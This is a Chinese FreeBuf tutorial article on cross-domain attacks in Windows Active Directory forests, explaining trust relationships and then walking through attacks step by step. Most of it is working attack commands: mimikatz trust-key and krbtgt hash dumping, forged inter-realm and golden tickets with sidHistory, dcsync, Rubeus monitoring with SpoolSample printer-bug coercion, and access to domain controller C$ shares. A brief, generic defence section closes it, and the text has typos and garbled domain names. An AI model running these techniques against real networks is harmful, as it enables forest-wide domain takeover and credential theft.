freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透基石篇 | 跨域攻击分析及防御
2021-08-01 16:59:46

前言:很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。

一、 跨域攻击方法分析

常见的跨域攻击方法:常规渗透方法(例如利用web漏洞跨域获取权限)

利用已知域散列值进行哈希传递攻击票据攻击(例如域控制器本地管理员密码可能相同)

1.利用域信任关系进行跨域

2.利用域信任关系的跨域攻击分析

域信任的作用就是解决多域环境中的跨域资源共享问题

域环境不会无条件地接收来自其他域的凭证,只会接受来自受信任的域的凭证。在默s认情况下,特定windows域中的所有用户都可以通过该域中的资源进行身份验证。

域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同时,域信任利用DNS服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个域,也就不存在通过域信任关系进行跨域资源共享了。

2. 域信任关系简介

建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管理和维护。这种模式在带来便利的同时,也存在很多可以被恶意攻击者利用的地方。

域信任关系可以是单向\双向信任、可传递\不可传递信任、内部\外部信任、跨域链接信任(cross link trust)等类型。例如,2 个域之间有单向可传递的外部信任关系。同一个森林(Forest)内部的域信任关系,一般隐含为双向可传递的内部信任关系。

域信任关系分为单向信任双向信任

单向信任是指在两个域之间创建单向的信任路径,即在一个i方向上是信任流,在另一个方向上是访问流,在受信任域和信任域之间的单向信任中,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。

双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向可传递的。在创建字域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通关其父域向上流向信任域

域信任关系也可以分为内部信任外部信任两种。

在默认情况下,伸用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域。

外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。从Windows server 2003域信任关系变为双向的,且可以通过信任关系进行传递。在Windows操作系统中,只有Domain Admins组中的用户管理域信任关系。

1627807611_61065f7bb4462364f3a00.png!small?1627807611204

3.获取域信息

在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员。

whoami /all    查看lab域内计算机的当前权限

1627807621_61065f85387e25f60f6f7.png!small?1627807620819

LG.exe lab\.    枚举lab域中的用户组

1627807649_61065fa16f241fe4dafdd.png!small?1627807648907

LG.exe \\dc    枚举远程机器的本地组用户

1627807657_61065fa95c86b96f6a4ff.png!small?1627807656859

两域存在域信任关系,且当前权限被另一个域信任

LG.exe \\dc -lu

1627807666_61065fb23be1f7e15f475.png!small?1627807665674

lg \\dc -lu -sidsout    获取远程系统中全部用户的SID

1627807675_61065fbb314c0e4023552.png!small?1627807674653

lg \\dc\administrators -sidsout    获取指定组中的SID

1627807686_61065fc60670a17b39b6e.png!small?1627807685429

在这里要使用LG.exe 工具。

二、 利用域信任密钥获取目标域的权限

1.首选搭建符合条件的域环境。

域林内信任环境的具体情况如下

父域的域控制器: dc.testx.com ( Windows Server 2008 R2 )。

子域的域控制器: us.testx.com( Windows Server 2012 R2 )。

子域内的计算机: pc.testx.com ( Windows 7)。

子域内的普通用户: us\test

1.使用mimikatz在域控制器中导出并伪造信任密钥,使用kekeo请求访问目标域中目标服务的TGS票据。使用这两个工具,渗透测试人员便可以创建具有sidHistory 的票据,对目标域进行安全测试。

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:test$" "lsadump::trust /patch" exit

1627807738_61065ffa7d06b6009044f.png!small?1627807738143

2.获取信息后,在域内计算机( pc.us.pentest.test.com )中使用普通域用户权限( sub\test )执行即可。

3.使用mimikatz创建信任票据

mimikatz "Kerberos::golden /domain:sub.test.com /sid S-1-5-21-3265761439-1148378407-2742098900 /sids:S-1-5-21-2850215151-526022293-2118279608  /rc4:3e0208a9073c8be3801600f311457fcd    /user:DarthVader /service:krbtgt /target:pentest.lab /ticket:test.kirbi" exit

domain 参数用于指定当前域名; sid 参数用于指定当前域的SID; sids 参数用于指定目标域的SID(在本实验中为519,表示渗透测试人员创建的用户属于目标域的管理员组); rc4 参数用于指定信任密钥; user 参数用于指定伪造的用户名; service 参数用于指定要访问

的服务; target 参数用于指定目标域名; ticket 参数用于指定保存票据的文件名。需要注意的是,第一次访问域控制器时的提示文字重复是由mimikatz执行时的输出异常造成的。

1627807760_61066010cdb22f3d98895.png!small?1627807760269

4.利用刚刚创建的名为test.kirbi的信任票据获取域中目标服务的TGS并保存到文件中。

Asktgs test.kirbi CIFS/pentest.pentest.lab

5.将获取的TGS票据注入内存

Kirbikator lsa CIFS.pentest.pentest.lab.kirbi

6.访问目标服务

dir \\dc.test.com\C$

2. 利用krbtgz散列值获取目标域的权限

1.使用mimikaz,可以在构建黄金票据时设置sidHistory。

因此,如果攻击者获取了林内任意域的krbtgt散列值,就可以利用sidHistory获得该林的完整权限。下面我们就来分析这一过程。首先,使用PowerView在域内计算机( pc.sub.test.com )中使用普通城用户( sub\test )权限获取当前域和目标域的SID。获取域用户SID的常用命令有"wmic useraccount get name,sid" "whoami/user" "adfind.exe -sc u:test|findstr sid" "powerview"。

1627807848_610660680cd8fdfaf79e9.png!small?1627807847712

2.在域控制器上使用mimikatz获取krbtgt 散列值。

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt"

sekurlsa::krbtgt exit

sekurlsa::krbtgt

1627807854_6106606ec70ad2d713127.png!small?1627807854259

3.获取目标域的权限。

mimikatz "Kerberos::golden /user:Administrator /domain:sub.test.com /sid:    /sids:    /krbtgt:    /ptt" exit

user参数用于指定用户名: domain参数用于指定当前域名: sid参数用于当前城的SID; sids参数用于指定目标域的SID(在本实验中为519,代表渗透测试人员创建的户属于目标域的管理员组): krbtgt 参数指定krbtgt散列值: ptt 表示将票据往人内存。

1627807910_610660a66361870faf472.png!small?1627807909999

4.输人如下命令,访问目标服务

dir \\dc.test.com\C$

3.外部信任和林信任

环境

当前林的城控制器: dc.a.com ( Windows Server 2012 R2).

目标林的域控制器: bdc. b.com ( Windows Server 2012 R2 )

当前域的域控制器: adc1.a.com ( WindowServer 2012 R2)

目标域的城控制器: bdc1.b.com ( Windows Sever 212)

1.利用信任关系获取信任域的信息

因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。

在本实验中,使用adfind 工具获取信任域的完整信息。下面以获取Administrator用户的详细信息

输入如下命令,导出全部用户的信息

adfind -h bdc1.b.com -sc u:Administrator

1627807959_610660d7241cf195373a1.png!small?1627807958755

通过对比目标域和当前域的用户列表,找出同时加入这两个域的用户。

2.使用powerview定位敏感用户

执行如下命令,列出目标域用户组中的外部用户

..\PowerView.ps1

Get-DomainForeignGroupMember -Domain B.com

1627807979_610660eb21354fa610ae7.png!small?1627807978605

4. 利用无约束委派和MS-RPRN获取信任林权限

如果攻击者已经获取了域林中某个域权限,就可以使用MS RPRN的RpcRemoteFindPrinterChangeNotification(Ex)方法,使信任林的城=域控制器向已被控制的服务器发送身份认证请求,利用捕获的偏偏据获取信任林内任意用户的散列值。

实验

1.首先,输人下列命令,在dc.a.com上使用rubeus工具(7-2)监控身份认证请求。i

nterval用于设置健康的时间间隔,filteruser指定需要关注的用户。

Rubeus.exe monitor /interval:5 /filteruser:BDC$

2.开启监听后,在命令行环境中执行如下命令,使用SpoolSample工具(7-3)让目标域控制器bcd.b.com向dc.a.com发送身份认证请求

SpoolSample.exe bdc.b.com dc.a.com

3.保存其中的TGT数据。

4.清除TGT数据文件中多余的换行符,将票据注入

Rubeus.exe ptt /ticket:<TGT数据>

5.使用mimikatz获取目标域的kebtgt散列值。使用mimikatz的dcsync模拟域控制器向目标域控制器发送请求(获取账号密码)。

mimikatz.exe "lsadump::dcsync /domain:B.com /user:B\krbtgt" exit

6.构造黄金票据将其注入内存,获取目标域控制器的权限。

mimikatz.exe "Kerberos::golden /user:Administrator /domain:B.com /sid:    /rc4:    /ptt" exit

7.访问目标服务

dir \\bdc.b.com\C$

三、 防范跨域攻击

内网中的Web应用比公网中的Web应用更脆弱。放置在公网中的Web应用服务器住往会配置WAF等设备,还会有专业的维护人员定期进行安全检测。放置在内网中的Web应用服务器

大多为内部办公使用(或者作为测试服务器使用),所以,其安全性受重视程度较低,往往会使用弱口令或者存在未及时修复的补丁。

攻击者在获取当前域的域控制器的权限后,会检查城控制器的本地管理员密码是否与其他的域控制器本地管理员密码相同,以及在两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。在很多公司中,虽然为不同的部门划分了不同的域,但域管理员可能是同一批人,因此可能出现域管理员的用户名和密码相同的情况。在日常网络维护中,需要养成良好的安全习惯,才能有效地防范跨域攻击。

总结:在内网大环境中,不同的域环境,环境构造不同,这篇文章主要讲了一些跨越攻击的方式,和通过熟悉一些工具来实现跨域攻击。每个部门的域环境不同,想取得域控制器,就得多学一些方法来突破。


# 渗透测试 # web安全 # 内网渗透 # 企业安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录